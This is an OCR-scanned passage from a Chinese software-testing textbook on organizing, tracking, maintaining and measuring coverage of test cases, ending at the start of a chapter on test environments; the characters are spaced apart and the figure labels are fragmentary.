例 时 ,除了 需要 遵守 基本 的 测试 用 例 编写 规范 外 ,还 需要 遵循 一 些 基 本 的 


1. 避免 含糊 的 测试 用 例 


含糊 的 测试 用 例 给 测试 过 程 带 来 困难 ,甚至 会 影响 测试 的 结果 。 在 测试 过 程 中 ,测试 用 例 


的 状态 是 唯一 的 ,一 般 是 下 列 三 种 状态 中 的 一 种 。 

(1) 通过 (PASS) 。 

(2) 未 通过 (Failed) 。 

(3) 未 进行 测试 (Not Done) 。 

如 果 测 试 未 通过 ,一般 会 有 对 应 的 缺陷 报告 与 之 关联 ; 如 未 进行 测试 , 则 需要 说 明 原 因 
(测试 用 例 条 件 不 具备 、 缺 乏 测试 环境 或 测试 用 例 目前 已 不 适用 等 ) 。 因 此 ,清晰 的 测试 用 例 将 
会 使 得 测试 人 员 在 进行 测试 过 程 中 不 会 出 现 模棱两可 的 情况 ,对 一 个 具体 的 测试 用 例 不 会 有 


“部 分 通过 ,部 分 未 通过 ”这 样 的 结果 。 如 果 按 照 某 个 测试 用 例 的 描述 进行 操作 ,不 能 找到 软件 
中 的 缺陷 ,但 软件 实际 存在 和 这 个 测试 用 例 相 关 的 错误 ,这 样 的 测试 用 例 是 不 合格 的 ,将 给 测 
试 人 员 的 判断 带 来 困难 ,同时 也 不 利于 测试 过 程 的 跟踪 。 

举例 : 还 用 示例 一 来 说 明 , 对 用 户 登 录 的 页 面 校 验 测试 设计 ,如 测试 用 例 描述 如 下 。 

(1) 输入 正确 的 用 户 和 密码 ,所 有 程序 工作 正常 。 

(2) 输入 错误 的 用 户 和 密码 ,程序 工作 不 正常 ,并 弹出 对 话 框 。 

像 上 面 这 样 的 测试 用 例 ,未 能 清楚 地 描述 什么 样 是 程序 正常 工作 状态 以 及 程序 不 正常 工 
作 状 态 ,这样 含 糊 不 清 的 测试 用 例 必 然 会 导致 测试 过 程 中 问题 的 遗漏 。 

2. 尽量 将 具有 相 类 似 功能 的 测试 用 例 抽 象 并 归 类 

我 们 一 直 强 调 软 件 测试 过 程 是 无 法 穷 举 测试 的 ,因此 ,对 相 类 似 的 测试 用 例 的 抽象 过 程 显 
得 尤为 重要 ,一 个 好 的 测试 用 例 应 该 是 能 代表 一 组 同类 的 数据 数据 或 相似 的 数据 处 理 逻 辑 
过 程 。 

3. 尽量 避免 元 长 和 复杂 的 测试 用 例 

这 样 做 的 主要 目的 是 保证 验证 结果 的 唯一 性 。 这 也 是 和 第 一 条 原则 相 一 致 的 ,为 的 是 在 
测试 执行 过 程 中 ,确保 测试 用 例 的 输出 状态 唯一 性 ,从 而 便于 跟踪 和 管理 。 在 一 些 很 长 和 复杂 
的 测试 用 例 设 计 过 程 中 ,需要 对 测试 用 例 进行 合理 的 分 解 ,从 而 保证 测试 用 例 的 准确 性 。 在 某 
些 时 候 , 当 测 试用 例 包含 很 多 不 同类 型 的 输入 或 者 输出 ,或 者 测试 过 程 的 逻辑 复杂 而 不 连续 
时 ,需要 对 测试 用 例 进行 分 解 。 


11.2 测试 用 例 的 组 织 和 跟踪 


测试 用 例 最 终 是 为 实现 有 效 的 测试 服务 的 ,那么 怎样 将 这 些 测 试用 例 完整 地 结合 到 测试 
过 程 中 加 以 使 用 呢 ? 这 就 涉及 测试 用 例 的 组 织 、 跟 踪 和 维护 问题 。 


11.2.1 测试 用 例 的 属性 


在 整个 测试 设计 和 执行 过 程 中 ,可 能 涉及 很 多 不 同类 型 的 测试 用 例 ,这 要 求 我 们 能 有 效 地 
对 这 些 测试 用 例 进行 组 织 。 为 了 组 织 好 测试 用 例 ,必须 了 解 测 试用 例 所 具有 的 属性 。 不 同 的 
阶段 ,测试 用 例 的 属性 也 不 同 ,如 图 11-1 所 示 。 基 于 这 些 属性 ,可 以 采用 数据 库 方式 更 有 效 地 
管理 测试 用 例 。 

(1) 测试 用 例 的 编写 过 程 : 标识 符 、 测 试 环境 .输入 标准 、 输 出 标准 ,关联 测试 用 例 标识 。 

(2) 测试 用 例 的 组 织 过 程 : 所 属 的 测试 模块 /测试 组 件 / 测 试 计划 ,优先 级 、 类 型 等 。 

(3) 测试 用 例 的 执行 过 程 : 所 属 的 测试 过 程 /测试 任务 /测试 执行 ,测试 环境 和 平台 ,测试 
结果 、 关 联 的 软件 错误 或 注释 。 

其 中 ,标识 符 、 测 试 环境 、 输 入 标准 、 输 出 标准 等 构成 了 测试 用 例 的 基本 要 素 ,在 11. 1 节 中 
已 做 过 介绍 ,而 其 他 的 具体 属性 ,下 面 给 予 详细 的 说 明 。 

(1) 优先 级 (Priority) 。 优 先 级 越 高 ,被 执行 的 时 间 越 早 、 执 行 的 频率 越 多 。 由 最 高 优先 
级 的 测试 用 例 组 合 构成 基本 验证 测试 (Basic Verification Test,BVT) ,每 次 构建 软件 包 时 ,都 
要 被 执行 一 遍 。 

(2) 目标 性 ,包括 功能 性 性能、 容错 性 数据 迁移 等 各 方面 的 测试 用 例 。 


标识 符 
环境 需求 
输入 标准 
输出 标准 
关联 的 测试 用 例 


所 属 的 测试 模块 / 
测试 组 件 /测试 计划 


/测试 用 例 /一 一 一 | 组 织 过 程 优先 级 


类 型 


所 属 的 测试 过 程 / 
测试 任务 /测试 执行 


测试 环境 和 平台 
执行 过 程 : = 
-一 测试 结果 


关联 的 软件 错误 或 
注释 


11-1 各 个 阶段 所 表现 的 测试 用 例 属性 


(3) 所 属 的 范围 ,属于 哪 一 个 组 件 或 模块 ,这 种 属性 可 以 和 需求 .设计 等 联系 起 来 ,有 利于 
整个 软件 开发 生命 周期 的 管理 。 

(4) 关联 性 ,测试 用 例 一 般 和 软件 产品 特性 相 联 系 , 通 过 这 种 关联 性 可 以 了 解 每 个 功能 点 
是 否 有 测试 用 例 覆 盖 、 有 多 少 个 测试 用 例 覆盖 ,从 而 确定 测试 用 例 的 覆盖 率 。 

(5) 阶段 性 ,属于 单元 测试 .集成 测试 .系统 测试 、 验 收 测试 中 的 某 一 个 阶段 ,这 样 可 以 针 
对 阶段 性 测试 任务 快速 构造 测试 用 例 集合 ,用 于 执行 。 

(6) 状态 , 当前 是 否 有 效 。 如 果 无 效 , 被 置 于 “Inactive” 状 态 ,不 会 被 运行 ,只 有 激活 
(Active) 状 态 的 测试 用 例 才 被 运行 。 

(7) 时 效 性 ,同样 功能 不 同 的 版 本 所 适用 的 测试 用 例 可 能 不 相同 ,因为 产品 功能 在 一 些 新 
版 本 上 可 能 会 发 生变 化 。 

(8) 所 有 者 .日 期 等 特性 ,描述 测试 用 例 是 由 谁 ,在 什么 时 间 创 建 和 维护 的 。 


11.2.2 测试 套件 及 其 构成 方法 


如 何 进行 测试 用 例 的 组 织 ? 组 织 测试 用 例 的 方法 ,一 般 采 用 自 项 向 下 的 方法 。 首 先 在 测 
试 计划 中 确定 测试 策略 和 测试 用 例 设 计 的 基本 方法 ,有 时 会 根据 功能 规格 说 明 书 来 编制 测试 
规格 说 明 书 , 如 图 11-2 所 示 , 而 多 数 情况 下 会 直接 根据 功能 规格 说 明 书 来 编写 具体 的 测试 用 例 。 

在 测试 用 例 组 织 和 执行 过 程 中 ,还 需要 引入 一 个 新 概念 一 一 测试 套件 (Test Suite)。 测 试 
套件 是 根据 特定 的 测试 目标 和 任务 而 构造 的 某 个 测试 用 例 的 集合 。 这 样 , 为 完成 相应 的 测试 
任务 或 达到 某 个 测试 目标 ,只 要 执行 所 构造 的 测试 套件 ,使 执行 任务 更 明确 、 更 简单 ,有 利于 测 
试 项 目的 管理 。 测 试 套件 可 以 根据 测试 目标 ,测试 用 例 的 特性 和 属性 (优先 级 .层次 ,模块 等 )， 
来 选择 不 同 的 测试 用 例 , 构 成 满足 特定 的 测试 任务 要 求 的 测试 套件 ,如 基本 功能 测试 套件 、 负 
面 测 试 套件 ,Mac 平台 兼容 性 测试 套件 等 。 


测试 设计 规格 说 明 
测试 设计 功能 说 明 


测试 用 例 规格 说 明 测试 过 程 规格 说 明 


11-2 测试 用 例 组 织 


那么 如 何 构造 有 效 的 测试 套件 呢 ? 通常 情况 下 ,使 用 以 下 几 种 方法 来 组 织 测试 用 例 。 

(1) 按照 程序 的 功能 模块 组 织 。 软 件 产品 是 由 不 同 的 功能 模块 构造 而 成 ,因此 ,按照 程序 
的 功能 模块 进行 测试 用 例 的 组 织 是 一 种 很 好 的 方法 。 将 属于 不 同 模块 的 测试 用 例 组 织 在 一 
起 ,能 够 很 好 地 检查 测试 所 覆盖 的 内 容 , 实 现 准确 地 执行 测试 计划 。 

(2) 按照 测试 用 例 的 类 型 组 织 。 将 不 同类 型 的 测试 用 例 按照 类 型 进行 分 类 组 织 测试 ,也 
是 一 种 常见 的 方法 。 一 个 测试 过 程 中 ,可 以 将 功能 /逻辑 测试 .压力 /负载 测试 .异常 测试 ,兼容 性 
测试 等 具有 相同 类 型 的 用 例 组 织 起 来 ,形成 每 个 阶段 或 每 个 测试 目标 所 需 的 测试 用 例 组 或 集合 。 

(3) 按照 测试 用 例 的 优先 级 组 织 。 和 软件 错误 相 类 似 , 测 试用 例 拥 有 不 同 优先 级 ,可 以 按 
照 测试 过 程 的 实际 需要 ,定义 测试 用 例 的 优先 级 ,从 而 使 得 测试 过 程 有 层次 \ 有 主 次 地 进行 。 

以 上 各 种 方式 中 ,根据 程序 的 功能 模块 进行 组 织 是 最 常用 的 方法 ,同时 可 以 将 三 种 方式 混 
合 起 来 ,灵活 运用 。 例 如 ,可 以 先 按照 不 同 的 程序 功能 块 将 测试 用 例 分 成 若干 个 模块 ,再 在 不 
同 的 模块 中 划分 出 不 同类 型 的 测试 用 例 ,按照 优先 级 顺序 进行 排列 ,这 样 就 能 形成 一 个 完整 而 
清晰 的 组 织 框架 。 

如 图 11-3 所 示 ,体现 了 测试 用 例 组 织 和 测试 过 程 的 关系 ,这 是 基于 前 面 的 测试 用 例 特 性 
分 析 , 以 及 如 何 有 效 地 完成 测试 获得 的 。 这 个 过 程 可 以 简单 描述 如 下 。 


本 要 二 站 


和 


| 测试 用 例 | 测试 用 例 I 
上 


图 11-3 ”测试 用 例 的 组 织 和 测试 过 程 的 关系 


(1) 测试 模块 由 该 模块 的 各 种 测试 用 例 组 织 起 来 ; 

(2) 多 个 测试 模块 组 成 测试 套件 (测试 单元 ); 

(3) 测试 套件 加 上 所 需要 的 测试 环境 和 测试 平台 需求 组 成 测试 计划 ; 
(4) 测试 计划 确定 后 ,就 可 以 确定 相应 的 测试 任务 ; 

(5) 将 测试 任务 分 配给 测试 人 员 ; 

(6) 测试 人 员 执 行 测试 任务 ,完成 测试 过 程 ,并 报告 测试 结果 。 


11.2.3 跟踪 测试 用 例 


在 测试 执行 开始 之 前 ,测试 组 长 或 测试 经 理应 该 能 够 回答 下 面 一 些 问题 。 

(1) 整个 测试 计划 包括 哪些 测试 组 件 ? 

(2) 测试 过 程 中 有 多 少 测试 用 例 要 执行 ? 

(3) 在 执行 测试 过 程 中 ,使 用 什么 方法 来 记录 测试 用 例 的 状态 ? 

(4) 如 何 挑选 出 有 效 的 测试 用 例 来 对 某 些 模块 进行 重点 测试 ? 

(5) 上 次 执行 的 测试 用 例 的 通过 率 是 多 少 ? 哪些 是 未 通过 的 测试 用 例 ? 

根据 这 些 问 题 ,对 测试 执行 做 到 事先 心中 有 数 , 有 利于 跟踪 测试 用 例 执行 的 过 程 ,控制 好 
测试 的 进度 和 质量 。 

前 面 提 到 ,测试 过 程 中 测试 用 例 有 三 种 状态 一 一 通过 (Pass)、 未 通过 (Fail) 和 未 测试 (Not 
Done) 。 根 据 测试 执行 过 程 中 测试 用 例 的 状态 ,针对 测试 用 例 的 执行 和 输出 而 进行 跟踪 ,从 而 达 
到 测试 过 程 的 可 管理 性 以 及 完成 测试 有 效 性 的 评估 。 跟 踪 测 试用 例 ,包括 以 下 两 个 方面 的 内 容 。 

(1) 测试 用 例 执 行 的 跟踪 。 良 好 的 测试 用 例 自身 具有 易 组 织 性 、 可 评估 性 和 管理 性 ,实现 
测试 用 例 执行 过 程 的 跟踪 可 以 有 效 地 将 测试 过 程 量化 。 例 如 ,在 一 轮 测试 执行 中 ,需要 知道 总 
共 执 行 了 多 少 个 测试 用 例 ? 每 个 测试 人 员 平 均 每 天 能 执行 多 少 个 测试 用 例 ? 测试 用 例 中 通 
过 、 未 通过 以 及 未 测试 的 各 占 多 少 ? 测试 用 例 不 能 被 执行 的 原因 是 什么 ? 当然 ,这 是 个 相对 的 
过 程 ,测试 人 员工 作 量 的 跟踪 不 应 该 仅 凭借 测试 用 例 的 执行 情况 和 发 现 的 程序 缺陷 多 少 来 判 
定 , 但 至 少 可 以 通过 测试 执行 情况 的 跟踪 大 致 判定 当前 的 项 目 进度 和 测试 的 质量 ,并 能 对 测试 
计划 的 执行 做 出 准确 的 推断 ,以 决定 是 否 要 调整 。 

(2) 测试 用 例 覆盖 率 的 跟踪 。 测 试用 例 的 覆盖 率 指 的 是 根据 测试 用 例 进行 测试 的 执行 结 
果 与 实际 的 软件 存在 的 问题 的 比较 ,从 而 实现 对 测试 有 效 性 的 评估 。 

如 图 11-4 所 示 , 在 一 个 测试 执行 中 ,92% 的 测试 用 例 通 过 ,5% 的 测试 用 例 末 通过 ,3% 的 
测试 用 例 未 使 用 。 在 发 现 的 软件 缺陷 和 错误 中 ,有 92% 通 过 测试 用 例 检测 出 来 ,而 有 10% 未 
通过 测试 用 例 检 验 出 来 ,此 时 ,需要 对 这 些 软件 错误 进行 分 类 和 数据 分 析 ,完善 测试 用 例 , 从 而 
提高 测试 结果 的 准确 性 ,使 问题 遗漏 的 可 能 性 最 小 化 。 

如 图 11-5 所 示 是 针对 每 个 测试 模块 的 测试 用 例 的 跟踪 示意 图 ,通过 对 比 , 不 难 发 现 ,模块 
二 和 模块 三 的 未 通过 率 和 未 使 用 率 都 比较 高 ,此 时 测试 组 长 需要 对 这 两 个 模块 的 测试 用 例 以 
及 测试 过 程 进行 分 析 , 是 这 个 模块 的 测试 用 例 设计 不 合理 ? 还 是 模块 本 身 存 在 太 多 的 软件 缺 
陷 ? 根据 实际 的 数据 分 析 , 可 以 对 这 两 个 模块 重新 进行 单独 测试 ,通过 纵向 的 数据 比较 ,来 实 
现 软件 质量 的 管理 和 改进 。 

凭借 个 人 的 记忆 来 跟踪 测试 用 例 , 几 乎 是 不 可 能 的 ,所 以 一 般 会 采用 下 列 方法 来 跟踪 测试 用 例 。 

(1) 书面 文档 。 在 比较 小 规模 的 测试 项 目 中 ,使 用 书面 文档 记录 和 跟踪 测试 用 例 是 可 行 
的 一 种 方法 ,测试 用 例 清单 的 列表 和 图 例 也 可 以 被 有 效 地 使 用 ,但 作为 组 织 和 搜索 数据 进行 分 
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析 时 ,就 会 遇 到 很 大 的 困难 。 

(2) 电子 表格 。 一 种 流行 而 高 效 的 方法 是 使 用 电子 表格 来 跟踪 和 记录 测试 的 过 程 ,如 
图 11-6 所 示 , 通 过 表格 列 出 测试 用 例 的 跟踪 细节 ,可 以 直观 地 看 到 测试 的 结果 ,包括 关联 的 缺 
陷 , 然 后 利用 电子 表格 的 功能 比较 容易 进行 汇总 、 统 计 分 析 , 为 测试 管理 和 软件 质量 评估 提供 
更 有 价值 的 数据 。 


图 11-6 跟踪 和 记录 测试 的 过 程 


(3) 数据 库 是 最 理想 一 种 方式 ,通过 基于 数据 库 的 测试 用 例 管理 系统 ,非常 容易 跟踪 测试 
用 例 的 执行 和 计算 覆盖 率 。 测 试 人 员 通 过 浏览 器 将 测试 的 结果 提交 到 系统 中 ,并 通过 自己 编 


写 的 工具 生成 报表 、 分 析 图 等 ,能 更 有 效 地 管理 和 跟踪 整个 测试 过 程 。 


11.2.4 维护 测试 用 例 


测试 用 例 不 是 一 成 不 变 的 , 当 一 个 阶段 测试 过 程 结束 后 ,我 们 或 多 或 少 会 发 现 一 些 测试 
例 编写 得 不 够 合理 ,需要 完善 。 而 当 同 一 个 产品 新 版 本 测试 中 要 尽量 使 用 已 有 的 测试 用 例 , 但 
某 些 原 有 功能 已 发 生 了 变化 ,这 时 也 需要 去 修改 那些 受 功能 变化 影响 的 测试 用 例 , 使 之 具有 良 
好 的 延续 性 。 所 以 ,测试 用 例 的 维护 工作 是 不 可 缺少 的 。 测 试用 例 的 更 新 ,可 能 出 于 不 同 的 原 
因 。 巾 于 原因 不 同 , 其 优先 级 、 修 改 时 间 也 会 有 所 不 同 , 详 见 表 11-5。 
表 11-5 测试 用 例 维护 情况 一 览 表 
原 因 更 新 时 间 优先 级 
先前 的 测试 用 例 设计 不 全 面 或 者 不 够 准确 , 随 着 测试 过 程 的 深 
和 人 和 对 产品 功能 特性 的 更 好 理解 ,发 现 测试 用 例 存在 一 些 逻辑 | 测试 过 程 中 | 高 ,需要 及 时 更 新 
错误 ,需要 纠正 
所 发 现 的 、 严 重 的 软件 缺陷 没有 被 目前 的 测试 用 例 所 覆盖 测试 过 程 中 | 高 ,需要 及 时 更 新 
新 的 版 本 中 添加 新 功能 或 者 原 有 功能 的 增强 ,要 求 测试 用 例 做 测试 过 程 前 | 高 ,需要 在 测试 执行 前 更 新 


相应 改动 
测试 用 例 不 规范 或 者 描述 语句 的 错误 测试 过 程 中 和 人 
旧 的 测试 用 例 已 经 不 再 使 用 ,需要 删除 测试 过 程 后 人 


维护 测试 用 例 的 过 程 是 实时 的 ,长 期 的 ,和 编写 测试 用 例 不 同 , 维 护 测试 用 例 一 般 不 涉及 
测试 结构 的 大 改动 ,例如 在 某 个 模块 里 面 ,如 果 先 前 的 测试 用 例 已 经 不 能 覆盖 目前 的 测试 内 
容 , 可 能 需要 重新 定义 一 个 独立 的 测试 模块 单元 来 重新 组 织 新 的 测试 用 例 。 但 在 系统 功能 进 
行 重 构 时 ,测试 用 例 也 会 随 之 重 构 。 测 试用 例 的 维护 流程 如 图 11-7 所 示 。 


归 
发 现 测试 用 例 问题 上 厂 一 一 一 | 修改 建议 文档 
测试 用 例 编写 者 i 


实际 修改 过 程 形 
成 更 新 的 测试 用 例 


图 11-7 测试 用 例 的 维护 基本 流程 


(1) 任何 人 员 ( 包 括 开 发 人 员 、 产 品 设计 人 员 等 ) 发 现 测试 用 例 有 错误 或 者 不 合理 ,向 编写 
者 提出 测试 用 例 修改 建议 ,并 提供 足够 的 理由 。 


(2) 测试 用 例 编写 者 (修改 者 ) 根 据 测试 用 例 的 关联 性 和 修改 意见 ,对 特定 的 测试 用 例 进 
行 修改 。 

(3) 向 开发 ,项 目 组 长 (经 理 ) 递 交 修改 后 的 测试 用 例 。 

(4) 项 目 组 长 .开发 人 员 以 及 测试 用 例 编写 者 进行 复核 后 提出 意见 ,通过 后 ,由 测试 用 例 
编写 者 进行 最 后 的 修改 ,并 提供 修改 后 的 文档 和 修改 日 志 。 


11.2.5 测试 用 例 的 覆盖 率 


测试 用 例 的 覆盖 率 是 评估 测试 过 程 以 及 测试 计划 的 一 个 参考 依据 , 它 根 据 测 试用 例 对 测 
试 的 执行 结果 与 软件 实际 存在 的 问题 进行 比较 ,从 而 获得 测试 有 效 性 的 评估 结果 。 例 如 ,确定 
哪些 测试 用 例 是 在 发 现 缺陷 之 后 再 补充 进来 的 ,这 样 就 可 以 基本 给 出 测试 用 例 的 覆盖 率 : 

测试 用 例 的 覆盖 率 = 发 现 缺陷 后 补充 的 测试 用 例 数 /总 的 测试 用 例 数 

如 果 想 更 科学 地 判断 测试 用 例 覆 盖 率 ,可 以 通过 测试 工具 来 监控 测试 用 例 执 行 的 过 程 , 然 
后 根据 获得 的 代码 行 覆盖 率 、 分 支 或 条 件 覆 盖 率 来 确定 测试 用 例 的 覆盖 率 。 

我 们 需要 对 低 覆 盖 率 的 测试 用 例 进行 数据 分 析 , 找 出 问题 的 根本 原因 ,从 而 更 有 针对 性 地 
修改 测试 用 例 , 更 有 效 地 组 织 测试 过 程 。 例 如 ,通过 了 解 哪些 缺陷 没有 测试 用 例 覆 盖 , 可 以 针 
对 这 些 缺 陷 添 加 相应 的 测试 用 例 ,这 样 就 可 以 提高 测试 用 例 的 质量 。 

当然 ,测试 用 例 的 覆盖 率 并 非 一 个 绝对 的 判定 因素 , 它 对 整个 测试 过 程 起 到 一 个 分 析 、 参 
考 的 作用 ,应 该 知道 ,将 测试 用 例 的 覆盖 率 作为 检验 测试 过 程 和 代码 质量 的 依据 是 不 够 准确 或 
充分 的 。 


小 结 


测试 用 例 的 设计 是 测试 过 程 中 一 个 很 重要 的 组 成 部 分 ,围绕 测试 用 例 而 形成 的 测试 过 程 
和 组 织 方法 是 一 个 比较 复杂 的 软件 过 程 ,测试 用 例 的 设计 也 是 循序 渐进 的 过 程 , 是 随 着 测试 过 
程 的 进行 和 完善 而 逐渐 成 熟 起 来 的 。 

在 白 盒 测 试用 例 设计 方法 中 ,以 逻辑 覆盖 法 为 主 ,包括 语句 覆盖 ,判定 覆盖 条件 覆盖 、 判 定 - 
条 件 覆 盖 、 条 件 组 合 覆盖 和 路 径 覆 盖 。 而 在 等 价 类 划分 法 ,边界 值 分 析 法 、 错 误 推测 法 .因果 图 
法 、 功 能 图 法 等 黑 盒 测 试用 例 设计 方法 中 ,常常 将 等 价 类 划分 法 和 边界 值 分 析 法 组 合 起 来 使 用 。 

根据 测试 用 例 的 属性 ,分 阶段 、 分 模块 来 构造 测试 套件 ,更 好 地 组 织 和 执行 测试 用 例 。 随 
着 需求 的 变化 ,测试 用 例 要 做 相应 的 改动 ; 随 着 测试 的 深入 ,我 们 会 对 产品 的 特性 有 更 深 的 理 
解 ,发 现 更 多 的 缺陷 ,需要 不 断 完善 现 有 的 测试 用 例 。 也 就 是 说 ,在 整个 软件 开发 周期 中 要 对 
测试 用 例 进行 有 效 的 跟踪 和 维护 。 


1. 阐述 测试 用 例 在 测试 过 程 中 所 起 到 的 作用 ,标准 的 测试 用 例 有 哪 几 个 组 成 部 分 ? 测试 
用 例 一 般 采用 哪些 方法 来 进行 组 织 ? 

2. 在 构造 测试 套件 中 , 哪 种 方法 是 最 常用 的 ? 

3. 如 何 有 效 地 维护 测试 用 例 ? 

4. 有 什么 工具 可 以 来 度量 测试 用 例 的 覆盖 率 ? 


CHAPTER 12 
第 12 章 


部 署 测试 环境 


测试 执行 是 在 一 定 的 环境 上 进行 的 ,环境 的 设置 直接 影响 测试 结 
果 。 如 果 环 境 设置 不 对 ,就 可 能 造成 不 正确 的 测试 结果 。 测 试 结果 需要 
测试 环境 来 保证 ,所 以 在 测试 计划 时 ,就 要 开始 考虑 .设计 测试 环境 ,并 
准备 相应 的 测试 环境 所 需 的 资源 。 测 试 环 境 的 建立 是 测试 工作 的 基础 ， 
在 项 目 计划 阶段 就 要 规划 测试 环境 ,并 能 根据 需要 对 测试 环境 进行 调 
整 ,合理 的 计划 安排 可 以 节约 软件 成 本 ,缩短 测试 周期 。 


12.1 测试 环境 的 重要 性 


配置 测试 环境 是 测试 实施 的 一 个 重要 阶段 ,测试 环境 适合 与 否 会 严 
重 影响 测试 结果 的 真实 性 和 正确 性 。 
1. 测试 环境 的 定义 


软件 测试 环境 包括 设计 环境 、 实 施 环境 和 管理 环境 。 本 章 的 内 容 讲 
述 的 是 通常 意义 上 的 测试 环境 , 即 测试 的 实施 环境 。 

1) 设计 环境 

设计 环境 指 编制 测试 计划 说明、 报告 及 与 测试 有 关 的 文件 所 基于 
的 软 、 硬 件 设 备 和 支持 。 在 软件 设计 阶段 ,不 仅 要 设计 测试 用 例 ,绘制 系 
统 工作 流程 图 .数据 流程 图 等 ,需要 一 些 设计 工具 支持 ,而 且 还 有 开发 测 
试 工具 或 测试 脚本 ,需要 集成 开发 环境 的 支持 ,以 及 对 技术 讨论 ,沟通 等 
必要 的 支持 手段 ,如 即时 消息 (IM) 邮件、 在线 会 议 系统 等 。 

2) 实施 环境 

实施 环境 指 对 软件 系统 进行 各 项 测试 所 基于 的 软 、 硬 件 设 备 和 支 
持 。 测 试 实施 环境 包括 被 测 软 件 的 运行 平台 和 用 于 各 项 测试 的 工具 。 
实施 环境 必须 尽 可 能 地 模拟 真实 环境 ,以 期 望 能 够 测试 出 真实 环境 中 的 
所 有 问题 ,同时 该 环境 是 独立 的 ,不 受 开发 人 员 调 试 工作 的 影响 。 通 常 
意义 上 所 讨论 的 测试 环境 ,主要 就 是 指 软 件 测试 的 实施 环境 。 

3) 管理 环境 

管理 环境 指 管理 测试 资源 所 基于 的 软 、 硬 件 设备 和 支持 。 测 试 资源 
指 测试 活动 所 利用 或 产生 的 有 形 物质 (如 软件 、 硬 件 、 文 档 ) 或 无 形 财富 
(如 入 力 ,时 间 ,测试 操作 等 )。 广 义 的 测试 管理 环境 包含 测试 设计 环境 、 


测试 实施 环境 ,以 及 专门 的 测试 管理 工具 。 例 如 ,对 Bug 的 跟踪 、 分 析 管 理 ; 对 Test Case 的 
分 类 管理 ; 对 测试 任务 的 分 派 ,资源 管理 等 。 

2. 测试 环境 是 测试 的 基础 

测试 环境 贯穿 了 测试 的 各 个 阶段 ,每 个 测试 阶段 中 测试 环境 对 测试 的 影响 是 不 一 样 的 。 

在 测试 的 计划 阶段 ,充分 理解 客户 需求 ,掌握 产品 的 基本 特性 有 助 于 测试 环境 的 设计 , 合 
理 调度 使 用 各 种 资源 ,申请 新 的 测试 资源 ,保证 计划 的 顺利 实施 。 如 果 在 测试 计划 中 规划 了 一 
个 不 正确 的 环境 ,直到 实施 的 过 程 中 才 发 现 ,将 浪费 大 量 的 人 力 和 物力 而 取得 一 些 无 用 的 结 
果 。 即 使 只 是 遗漏 了 一 些 环境 配置 (如 在 一 个 基于 手机 开发 的 项 目 中 遗漏 过 手机 的 上 网 费 
用 ) ,不 能 及 时 发 现 、 申 请 购买 或 调用 ,也 会 影响 整个 项 目的 进度 。 

在 单元 测试 和 集成 测试 阶段 ,大 部 分 测试 工作 是 由 开发 人 员 完 成 的 。 开 发 人 员 的 测试 环 
境 通常 为 开发 环境 ,有 利于 代码 的 调试 和 分 析 , 但 开发 环境 和 产品 实际 运行 环境 的 差异 比较 
大 ,测试 结果 可 能 不 够 可 靠 。 有 这 样 一 个 例子 ,测试 人 员 报告 的 Bug 在 开发 环境 中 无 法 重 现 ， 
开发 人 员 就 在 测试 人 员 的 测试 环境 中 研究 ,原来 是 环境 系统 的 设置 不 同 造成 的 ,测试 人 员 就 应 
该 分 析 修改 系统 设置 是 否 合理 。 如 果 要 求 用 户 手 工 修改 系统 设置 ,或 不 能 识别 用 户 的 系统 设 
置 ,通常 可 以 确定 是 缺陷 。 

在 系统 测试 和 验收 测试 阶段 ,测试 环境 必须 最 大 限度 地 接近 实际 环境 。 测 试 人 员 在 设计 
测试 用 例 时 就 要 写 明 测试 环境 ,因为 在 不 同 的 环境 中 预期 的 结果 是 不 同 的 。 测 试 中 运行 测试 
用 例 .报告 Bug 时 有 一 项 基本 要 求 就 是 写 明 测试 环境 ,以 便 开 发 人 员 再 现 Bug ,减少 不 必要 的 
交流 和 讨论 。 大 型 的 软件 系统 ,特别 是 支持 多 平台 的 软件 系统 ,往往 测试 环境 比较 复杂 ,而 且 
在 不 同 的 环境 下 ,软件 的 特性 有 差异 ,问题 的 解决 方案 也 不 同 。 

测试 环境 是 软件 测试 的 基础 ,使 用 错误 的 测试 环境 ,可 能 引起 下 列 一 系列 问题 。 

(1) 得 出 完全 错误 甚至 是 相反 的 结果 ; 

(2) 得 出 的 结果 与 实际 使 用 中 的 结果 有 很 大 误差 ; 

(3) 忽略 了 实际 使 用 可 能 会 出 现 的 严重 错误 ,将 严重 的 Bug 遗留 给 客户 ; 

(4) 项 目 返 工 , 造 成 巨大 的 资源 浪费 ; 

(5) 项 目 延期 ,信誉 的 损失 。 

所 以 ,测试 环境 问题 的 重要 性 应 该 得 到 充分 的 重视 ,尽量 将 测试 环境 的 因素 降 到 最 小 , 避 
免 因 测试 环境 出 现 的 问题 。 


12.2 测试 环境 要 素 


测试 环境 包括 硬件 环境 和 软件 环境 。 硬 件 环境 指 测试 必需 的 服务 器 客户 端 ,网 络 连接 设 
备 , 以 及 打印 机 、 扫 描 仪 等 辅助 硬件 设备 所 构成 的 环境 ; 软件 环境 指 被 测 软件 运行 时 的 操作 系 
统 . 数 据 库 及 其 他 应 用 软件 构成 的 环境 。 细 分 测试 环境 的 5 个 要 素 是 : 软件 、 硬 件 、 网 络 环境 、 
数据 准备 ,测试 工具 。 测 试 工具 (包括 自动 化 测试 框架 ) 是 测试 环境 的 重要 组 成 部 分 ,在 第 11 
章 已 做 了 详细 介绍 。 一 般 还 需要 监控 诊断 的 实用 工具 ,如 监控 系统 性 能 、 网 络 流量 的 工具 , 跟 
踪 记 录 出 错 信息 、 备 份 关键 数据 的 工具 等 。 

这 里 讨论 的 测试 环境 主要 指 物理 环境 因素 ,实际 上 ,在 讨论 测试 环境 时 ,还 要 考虑 测试 环 
境 的 社会 因素 和 产品 特性 的 影响 。 例 如 ,社会 因素 中 要 考虑 相关 的 国家 标准 ,甚至 相关 的 法 律 
条 款 等 ,而 从 产品 特性 的 影响 来 看 ,包括 产品 的 主要 用 途 、 用 户 特征 、 运 行 时 间 长 短 、 负 载 强度 等 。 


12.2.1 硬件 


软件 测试 中 ,最 基本 的 硬件 包括 特定 的 网 络 设备 、 服 务 器 、 测 试用 机 。 服 务 器 可 分 为 PC 
服务 器 、 专 用 服务 器 、 小 型 计算 机 等 。 为 了 满足 密集 部 署 服务 器 的 需要 ,开始 普遍 使 用 机 架 式 
服务 器 和 刀片 式 服务 器 , 极 大 地 改善 了 服务 器 管理 性 能 、 使 运作 参数 最 优化 ,能 够 减少 环境 设 
置 、 复 杂 线 缆 、 动 力 和 散热 等 方面 的 开支 ,并 节省 机 房 空间 , 有 利于 日 常 的 维护 及 管理 。 

(1) 机 架 式 服务 器 (Rack Server) ,以 19 英寸 机 架 作 为 标准 宽度 的 服务 器 类 型 ,高 度 则 从 
